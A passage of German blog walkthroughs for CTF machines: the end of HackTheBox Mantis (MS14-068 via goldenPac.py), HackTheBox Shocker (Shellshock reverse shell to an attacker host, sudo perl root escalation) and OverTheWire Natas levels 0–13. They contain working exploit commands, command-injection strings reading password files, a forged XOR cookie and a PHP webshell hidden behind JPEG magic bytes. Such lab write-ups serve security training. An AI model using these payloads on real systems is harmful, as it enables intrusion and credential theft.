Versuchen wir uns mal mit dem Benutzernamen admin und dem Passwort m$$ql_S@_P@ssW0rd! bei der SQL-Datenbank anzumelden. Ich benutze dafür DBeaver.

root@kali:~# dbeaver

Als erstes wählen wir MS SQL Server aus.

Dann müssen noch die erforderlichen Daten eingeben. Dank unseres Nmap-Scans wissen wir, dass der Standard-Port 1433 benutzt wird.

Jetzt noch zwei Mal auf Next und dann auf Finish klicken.

Als nächstes suchen wir nach einer Tabelle mit Benutzer Zugangsdaten.

Die Tabelle blog_Orchard_Users_UserPartRecord enthält Zugangsdaten für die Benutzer admin und James. Der Benutzer admin hat normalerweise ein verschlüsseltes Password, allerdings hat jemand anderes dieses zu 1111 geändert…

Beim Benutzer James ist es allerdings gewollt, dass sein Passwort nicht verschlüsselt ist. Merken wir uns also sein Passwort J@m3s_P@ssW0rd!

Für den nächsten Schritt müssen wir unsere /etc/hosts Datei bearbeiten, welche dafür benutzt wird um Rechnernamen in IP-Adressen aufzulösen.

root@kali:~/impacket# vi /etc/hosts

127.0.0.1 localhost
127.0.1.1 kali
10.10.10.52 mantis.htb.local htb.local

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Als nächstes können wir das Python Skript goldenPac.py von der Python Klassen Sammlung Impacket benutzen, um die kritische Kerberos Schwachstelle MS14-068 auszunutzen.

root@kali:~/impacket# goldenPac.py htb.local/james:J@m3s_P@ssW0rd\!@mantis.htb.local
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file TBDMYhpQ.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service sust on mantis.htb.local.....
[*] Starting service sust.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Jetzt können wir uns die User und die Root Flag abholen.

C:\Windows\system32>cd C:/users

C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is 1A7A-6541

Directory of C:\Users

09/01/2017 09:19 AM <DIR> .
09/01/2017 09:19 AM <DIR> ..
09/01/2017 12:39 AM <DIR> Administrator
09/01/2017 08:02 AM <DIR> Classic .NET AppPool
09/01/2017 09:19 AM <DIR> james
09/01/2017 08:15 AM <DIR> MSSQL$SQLEXPRESS
07/13/2009 11:57 PM <DIR> Public
0 File(s) 0 bytes
7 Dir(s) 921,141,248 bytes free

C:\Users>cd james

C:\Users\james>cd Desktop

C:\Users\james\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 1A7A-6541

Directory of C:\Users\james\Desktop

09/01/2017 01:10 PM <DIR> .
09/01/2017 01:10 PM <DIR> ..
09/01/2017 09:19 AM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 921,141,248 bytes free

C:\Users\james\Desktop>more user.txt
8a8#########ZENSIERT#########54d

C:\Users\james\Desktop>cd ..

C:\Users\james>cd ..

C:\Users>cd admin
The system cannot find the path specified.

C:\Users>cd Administrator

C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 1A7A-6541

Directory of C:\Users\Administrator\Desktop

09/01/2017 01:10 PM <DIR> .
09/01/2017 01:10 PM <DIR> ..
09/01/2017 09:16 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 921,141,248 bytes free

C:\Users\Administrator\Desktop>more root.txt
209#########ZENSIERT#########567

Vielen Dank für’s durchlesen. :)

Shocker ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. Shocker ist eine leichte bis mittelschwere Maschine von HackTheBox.

Tipps

Der Webserver hat ein interessantes Verzeichnis mit einer Datei drin.

Der Name der Maschine ist bei HackTheBox oft ein Tipp. Das Beitragsbild, welches ich mit meinen immensen Photoshop Sk1llz erstellt habe, ist auch ein “dezenter” Hinweis.

Root-Rechte zu bekommen ist sehr einfach. Allerdings werden dafür Anfängerkenntnisse einer bestimmten Sprache gebraucht.

Video

Anleitung

Als erstes kommt wie immer ein Nmap-Scan.

root@kali:~# nmap -A 10.10.10.56

[...]
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
[...]

Wenn wir einen Verzeichnis-Bruteforce machen, finden wir das Verzeichnis cgi-bin.

root@kali:~# dirb http://10.10.10.56/ /usr/share/wordlists/dirb/common.txt

[...]
---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)
+ http://10.10.10.56/server-status (CODE:403|SIZE:299)
[...]

Im Verzeichnis cgi-bin befinden sich normalerweise verschiedene Scripts wie z.B. Perl oder Bash. Versuchen wir doch mal welche durch einen weiteren Brute-Force zu finden. Nach der Option -X können wir Dateiendungen festlegen, welche an jeden String in unserer Wortliste angehängt werden.

root@kali:~# dirb http://10.10.10.56/cgi-bin/ /usr/share/wordlists/dirb/common.txt -X .sh,.pl

[...]
---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
+ http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)
[...]

Das Shell-Skript user.sh wurde in dem Verzeichnis cgi-bin gefunden.

Anhand des Namens der Maschine ( Shocker ) liegt der verdacht nahe, dass hier die Shellshock Sicherheitslücke ausgenutzt werden kann.
Mithilfe von searchsploit können wir nach Exploits für Shellshock suchen.

root@kali:~# searchsploit shellshock
--------------------------------------- ----------------------------------
Exploit Title                          | Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------
Advantech Switch - 'Shellshock' Bash E | exploits/cgi/remote/38849.rb
Apache mod_cgi - 'Shellshock' Remote C | exploits/linux/remote/34900.py
Bash - 'Shellshock' Environment Variab | exploits/linux/remote/34766.php
Bash CGI - 'Shellshock' Remote Command | exploits/cgi/webapps/34895.rb
Cisco UCS Manager 2.1(1b) - Remote Com | exploits/hardware/remote/39568.py
GNU Bash - 'Shellshock' Environment Va | exploits/linux/remote/34765.txt
IPFire - 'Shellshock' Bash Environment | exploits/cgi/remote/39918.rb
NUUO NVRmini 2 3.0.8 - Remote Command  | exploits/cgi/webapps/40213.txt
OpenVPN 2.2.29 - 'Shellshock' Remote C | exploits/linux/remote/34879.txt
PHP < 5.6.2 - 'Shellshock' 'disable_fu | exploits/php/webapps/35146.txt
Postfix SMTP 4.2.x < 4.2.48 - 'Shellsh | exploits/linux/remote/34896.py
RedStar 3.0 Server - 'Shellshock' 'BEA | exploits/linux/local/40938.py
Sun Secure Global Desktop and Oracle G | exploits/cgi/webapps/39887.txt
TrendMicro InterScan Web Security Virt | exploits/hardware/remote/40619.py
dhclient 4.1 - Bash Environment Variab | exploits/linux/remote/36933.py
--------------------------------------- ----------------------------------
Shellcodes: No Result

Es gibt viele verschiedene Skripte, welche Remote Code Execution durch Shellshock ermöglichen.

Einfachheitshalber können wir eines der Skripte benutzen, welche dank Exploitdb schon auf unserer Maschine vorhanden sind.
Ich benutze das Skript, welches an zweiter Stelle von searchsploit angezeigt wurde.

root@kali:~# python /usr/share/exploitdb/exploits/linux/remote/34900.py

Shellshock apache mod_cgi remote exploit

Usage:
./exploit.py var=<value>

Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages: specific cgi vulnerable pages (separated by comma)
proxy: host:port proxy

Payloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)

Example:

./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234

Als Parameter müssen wir payload, rhost, lhost, lport und ebenfalls pages festlegen.

Jetzt müssen wir nur noch eben unsere IP-Adresse nachsehen.

root@kali:~# ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.15.14 netmask 255.255.254.0 destination 10.10.15.14
[...]

Alle Parameter festlegen und los geht’s!

root@kali:~# python /usr/share/exploitdb/exploits/linux/remote/34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.15.14 lport=1234 pages=/cgi-bin/user.sh
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> whoami
shelly

Es hat funktioniert, wir haben nun als der Benutzer Shelly Zugriff.

Mit sudo -l können wir nachsehen, welche Befehle wir als der aktuelle Benutzer mit Root Rechten ausführen lassen können.

10.10.10.56> sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

Wir können also Perl-Befehle als Root ausführen ohne ein Password zu benötigen!

Wir können nun mithilfe von Perl /bin/sh ausführen lassen, wodurch wir eine Bash-Shell bekommen. Da wir sudo benutzen, wird die Bash-Shell als Root ausgeführt.

10.10.10.56> sudo perl -e 'exec "/bin/sh";'
10.10.10.56> whoami
root

Jetzt wo wir Root-Rechte haben, können wir uns den Root-Hash anzeigen lassen und uns natürlich auch noch den User-Hash holen.

10.10.10.56> cat /root/root.txt
52c#########ZENSIERT#########467

10.10.10.56> cat /home/shelly/user.txt
2ec#########ZENSIERT#########233

Vielen Dank für’s durchlesen. :)

OverTheWire.org bietet über 15 verschiedene Wargames an, welche verschiedene Schwierigskeitgrade haben. Wenn du den Begriff “Wargame” im Bezug zu Cyber Security zum ersten Mal hörst, fragst du dich bestimmt: “Was ist eigentlich ein Wargame?”.
Wargames sind Herausforderungen, entweder online oder offline als Virtuelle Maschine, in denen man versucht Sicherheitslücken auszunutzen und/oder Zugriff zu etwas zu erlangen. Sie sind teilweise sehr unterschiedlich was die benötigten Fähigkeiten, die Herausforderung und die Vorgehensweise anbelangt. Wargames werden von verschiedenen Internetseiten angeboten und haben teilweise eine große Community. Eine Liste von Wargame Anbietern kannst du hier finden.

Level 0

Nachdem wir uns auf http://natas0.natas.labs.overthewire.org/ mit dem Nutzernamen natas0 und Password natas0 angemeldet haben, sehen wir eine Seite mit dem Text You can find the password for the next level on this page..  Wenn wir uns den Seitenquelltext anzeigen lassen, finden wir bei Zeile 16 folgendes:

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Level 0 -> Level 1

Diesmal ist das Password für das nächste Level wieder im Seitenquelltext versteckt, allerdings wird der Rechtsklick der Maus blockiert. Das ist aber kein Problem für uns, da wir mit Strg + U uns trotzdem den Seitenquelltext anzeigen lassen können. Bei Zeile 17 finden wir dann folgendes:

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Level 1 -> Level 2

Wir sehen uns wieder zuerst den Seitenquelltext an. In Zeile 15 finden wir folgendes:

<img src="files/pixel.png">

Wenn wir nach http://natas2.natas.labs.overthewire.org/files/ gehen, sehen wir dort eine Datei users.txt.
In dieser steht:

# username:password
[...]
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
[...]

Level 2 -> Level 3

Wenn wir uns den Seitenquelltext ansehen, finden wir diesmal nur den Kommentar <!– No more information leaks!! Not even Google will find it this time… –>.
Sehen wir uns doch mal die robots.txt Datei an, welche bestimmte User-Agenten ausschließen kann, z.B. auch die Bots von Suchmaschinen.

User-agent: *
Disallow: /s3cr3t/

Der Ordner /s3cr3t/ wird also von Suchmaschinen ausgeschlossen… Sehen wir uns diesen mal an.
In dem Ordner befindet sich die Datei Users.txt mit dem Inhalt:

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Level 3 -> Level 4

Bei diesem Level müssen wir den Referrer veränder. Um das zu machen brauchen wir die Hilfe von Burp. Mit Burp können wir den Datenverkehr unterbrechen und Anfragen bearbeiten.
Wenn wir auf Refresh Page klicken und Burp gerade unseren Verkehr unterbricht, können wir unter headers den Referrer von natas4 zu natas5 ändern.

Danach müssen wir das Request nur noch weiterleiten und schon wird uns das Passwort angezeigt.

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Level 4 -> Level 5

Wenn wir uns einloggen, steht auf der Seite, dass wir keinen Zugriff haben, weil wir nicht eingeloggt sind. Das könnte eventuell daran liegen, dass ein Cookie falsch gesetzt ist.
Mit dem Browser Addon **EditThisCookie **können wir den Inhalt von Cookies sehen und bearbeiten.

Es gibt also einen Cookie der loggedin heißt  und den Wert 0 besitzt. Wenn wir den Wert auf 1 setzen und die Seite neu laden, wird uns das Passwort für das nächste Level angezeigt.

Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Level 5 -> Level 6

Bei diesem Level hier müssen wir das richtige Password für das für Input Secret finden. Im Quelltext steht in Zeile 17:

include "includes/secret.inc";

Wenn wir nun zu http://natas6.natas.labs.overthewire.org/includes/secret.inc gehen, finden wir:

$secret = "FOEIUWGHFEEUHOFUOIU";

Jetzt müssen wir nur noch das Secret einfügen, absenden und geschafft.

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Level 6 -> Level 7

Im Seitenquelltext steht in Zeile 21:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

Wenn wir auf Home klicken sehen wir die URL http://natas7.natas.labs.overthewire.org/index.php?page=home

Hier können wir eine LFI/RFI Schwachstelle ausnutzen. Dafür müssen wir nur folgende URL eingeben:

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

Jetzt wird uns das Password angezeigt: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Level 7 -> Level 8

Im Seitenquelltext sehen wir, dass unser Input mit der Variable $encodedSecret verglichen wird. Dazu wird unser Input erst in Base64 enkodiert, dann umgedreht und schließlich werden die Binär Daten in Hex konvertiert. Um an das richtige Secret zu kommen, müssen wir diesen Prozess umkehren.

$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

Dazu können wir den Interactiven Modus von PHP benutzen:

root@kali:~# php7.2 -a
Interactive mode enabled

php > echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
oubWYf2kBq

Das Secret ist also oubWYf2kBq.

Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Level 8 -> Level 9

In Zeile 29 vom Quelltext finden wir folgendes: passthru(“grep -i $key dictionary.txt”); Wobei $key unser Input ist.
Es wird also ein Linux Befehl ausgeführt. Das können wir ausnutzen. Suchen wir zum Testen mal nach ; ls.
Durch das Semikolon wird der grep-Befehl beendet und ls wird ausgeführt. Unter /etc/natas_webpass befinden sich die Passwörter für alle Level.
Wir haben immer nur die Rechte, die Datei für das derzeitige und das nächste Level zu lesen. Benutzen wir:

; ls ../../../../etc/natas_webpass

Als Ausgabe werden uns die Passwort-Dateien aller Level aufgelistet. Lassen wir uns natas10 doch mit cat ausgeben.

;cat ../../../../etc/natas_webpass/natas10

Output: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 9 -> Level 10

Die Zeichen ; und & werden in diesem Level gefiltert, weswegen wir hier nicht wie in Level 9 vorgehen können.
Allerdings können wir uns grep von nutzen machen. Der Befehl grep -i nimmt als ersten Parameter das Suchwort und alle danach folgenden als Datei in der gesucht werden soll. Also können wir einfach /etc/natas_webpass/natas11 als zu durchsuchende Datei hinzunehmen.

Geben wir a /etc/natas_webpass/natas11 ein…
Der Buchstabe a scheint nicht im Passwort vorhanden zu sein.

Probieren wir u /etc/natas_webpass/natas11 aus.

Output:
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
[...]

Level 10 -> Level 11

Bei diesem Level haben wir einen XOR Verschlüsselten Cookie, welchen wir verändern müssen.
Der Quelltext ist wie folgt:

[...]  
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {  
  $key = '<censored>';  
  $text = $in;  
  $outText = '';

  // Iterate through each character  
  for($i=0;$i<strlen($text);$i++) {  
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  
  }

  return $outText;  
}

function loadData($def) {  
  global $_COOKIE;  
  $mydata = $def;  
  if(array_key_exists("data", $_COOKIE)) {  
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);  
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {  
      if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {  
        $mydata['showpassword'] = $tempdata['showpassword'];  
        $mydata['bgcolor'] = $tempdata['bgcolor'];  
      }  
    }  
  }  
  return $mydata;  
}

function saveData($d) {  
  setcookie("data", base64_encode(xor_encrypt(json_encode($d))));  
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {  
  if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {  
    $data['bgcolor'] = $_REQUEST['bgcolor'];  
  }  
}

saveData($data);

?>

<h1>natas11</h1>  
<div id="content">  
<body style="background: <?=$data['bgcolor']?>;">  
Cookies are protected with XOR encryption<br/><br/>

<?  
if($data["showpassword"] == "yes") {  
  print "The password for natas12 is <censored><br>";  
}  
[...]  
?>

Im Cookie Editor können wir sehen, dass der Cookie data den Wert ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D enthält.

Außerdem wissen wir dank des Quelltextes wie der entschlüsselte Wert lautet:

“showpassword”=>“no”, “bgcolor”=>"#ffffff"

Eine XOR Verschlüsselung ist einfach zu entschlüsseln, wenn man 2 der 3 folgenden Sachen weiß:

Der verschlüsselte Text, der entschlüsselte Text und der Schlüssel der zum verschlüsseln benutzt wird.
Wir wissen die ersten beiden Sachen. Wir können nun die xor_encrypt Funktion anpassen, um den Schlüssel herauszufinden.

#!/usr/bin/php
<? 
$cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');

function xor_encrypt($in)
{ 
  $text = $in; 
  $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
  $outText = '';

  // Iterate through each character
  for($i=0;$i<strlen($text);$i++) 
  { 
    $outText .= $text[$i] ^ $key[$i % strlen($key)]; 
  } 
  return $outText; 
} 

print xor_encrypt($cookie); 
?>

Wenn wir die Datei nun ausführen erhalten wir: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

Der Schlüssel ist also qw8J

Wenn wir die Funktion erneut etwas anpassen, können wir verschlüsseln, was wir möchten.

>#!/usr/bin/php
<? 
function xor_encrypt($in)
{ 
  $text = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));
  $key = "qw8J";
  $outText = '';

  // Iterate through each characterfor($i=0;$i<strlen($text);$i++) 
  { 
    $outText .= $text[$i] ^ $key[$i % strlen($key)]; 
  } 
  return $outText; 
} 

print base64_encode(xor_encrypt()); ?>

Wenn wir die Funktion ausführen erhalten wir den Cookie ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

Ersetzen wir nun den Wert des Cookies data damit, müssen wir nur noch die Seite neu laden und es erscheint der Text

The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Level 11 -> Level 12

Bei diesem Level können wir eine JPEG Datei hochladen. Sehen wir uns mal den Quelltext an.

function genRandomString() {
  $length = 10;
  $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
  $string = "";

  for ($p = 0; $p < $length; $p++) {
    $string .= $characters[mt_rand(0, strlen($characters)-1)];
  }

  return $string;
  }

  function makeRandomPath($dir, $ext) {
  do {
    $path = $dir."/".genRandomString().".".$ext;
  } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
  $ext = pathinfo($fn, PATHINFO_EXTENSION);
  return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
  $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
  echo "File is too big";
} else {
  if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
    echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
  } else{
    echo "There was an error uploading the file, please try again!";
  }
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
Choose a JPEG to upload (max 1KB):<br/> 
<input name="uploadedfile" type="file" /><br /> 
<input type="submit" value="Upload File" /> 
</form> 

Wenn wir eine Datei hochladen, wird bekommt diese einen zufälligen 10-stelligen Namen, die Endung .jpg und wird unter /upload/ gespeichert. Den Link zu der Datei bekommen wir danach angezeigt. Wir können ein PHP-Skript erstellen, welches für uns ein System-Kommando ausführt und müssen dafür sorgen, dass es mit der Endung .php in dem Ordner /upload/ gespeichert wird und nicht mit der Endung .jpg.

echo "<?php system(\"cat /etc/natas_webpass/natas13\"); ?>" > cutecat.jpg

Durch dieses Kommando erstellen wir ein PHP-Skript welches auf dem Server cat /etc/natas_webpass/natas13 ausführen wird. Das \ ist bei echo ein escape character. Ohne das \ würde der echo Befehl bei system(" enden. system führt bei PHP ein System Kommando aus und gibt den Output aus. Wird speichern das PHP-Skript als cutecat.jpg ab, wobei die Endung bei diesem Beispiel egal ist, da die Datei eh umbenannt wird und die Seite die Datei nicht auf ihre Endung überprüft.

Es gibt verschiedene Möglichkeiten, wie wir dafür sorgen können, dass unsere Datei nun als .php gespeichert wird.

Zum einen können wir Strg + Umschalt + I drücken um die Elemente der Seite zu untersuchen. Dann suchen wir nach dem verstecktem Input-Feld und können dort den Wert von filename ändern.

Danach müssen wir nur noch auf Upload File klicken, die Datei wird unter dem Namen gespeichert, welchen wir festgelegt haben und wenn wir durch den Link, welcher uns angezeigt wird, die Datei ausführen, bekommen wir das Passwort angezeigt.

Alternativ können wir auch Burp benutzen. Wenn wir das Upload Anfrage abfangen, können wir dort auch den Dateinamen ändern.

Wenn alles geklappt hat, bekommen wir das Password angzeigt.

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 12 -> Level 13

Dieses Level ist eine Erweiterung zum vorherigen. Der Quelltext hat drei neue Zeilen dazu bekommen.

else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
    echo "File is not an image"; 
}

Jetzt wird bei der Datei, welche wir hochladen, zusätzlich überprüft um was für einen Bildtyp es sich bei der Datei handelt. Dies wird durch exif_imagetype(datei) realisiert. exif_imagetype liest die ersten Bytes der Datei aus und überprüft anhand der Signatur um welchen Dateityp es sich handelt. Wenn wir etwas anderes als eine Bilddatei hochladen erhalten wir nur die Rückmeldung File is not an image.

root@kali:~# file cutecat.jpg 
cutecat.jpg: PHP script, ASCII text

Auf Wikipedia können wir eine Liste mit Signatur für verschiedene Dateitypen finden. Die Signatur für JPEGs ist FF D8 FF DB.

Hier gibt es auch wieder verschiedene Möglichkeiten, wie wir die Signatur an den Anfang unserer Datei einfügen können, sodass diese als JPEG erkannt wird.

root@kali:~# echo -e "\xff\xd8\xff\xe0" > jpeg
root@kali:~# file jpeg
jpeg: JPEG image data

Dadurch haben wir nun die JPEG Signatur in der Datei jpeg gespeichert. Jetzt müssen wir nur noch unser PHP-Skript erstellen und die beiden Dateien zusammenführen.

root@kali:~# echo "<?php system(\"cat /etc/natas_webpass/natas14\"); ?>" > cutecat
root@kali:~# cat jpeg cutecat > cutecatjpg
root@kali:~# file cutecatjpg
cutecat2: JPEG image data

2. Wir können auch den Hexeditor dafür benutzen.

root@kali:~# hexeditor -b cutecat

Viermal Strg + A drücken um null-Bytes zu erstellen, FF D8 FF DB eingeben und mit Strg + X speichern.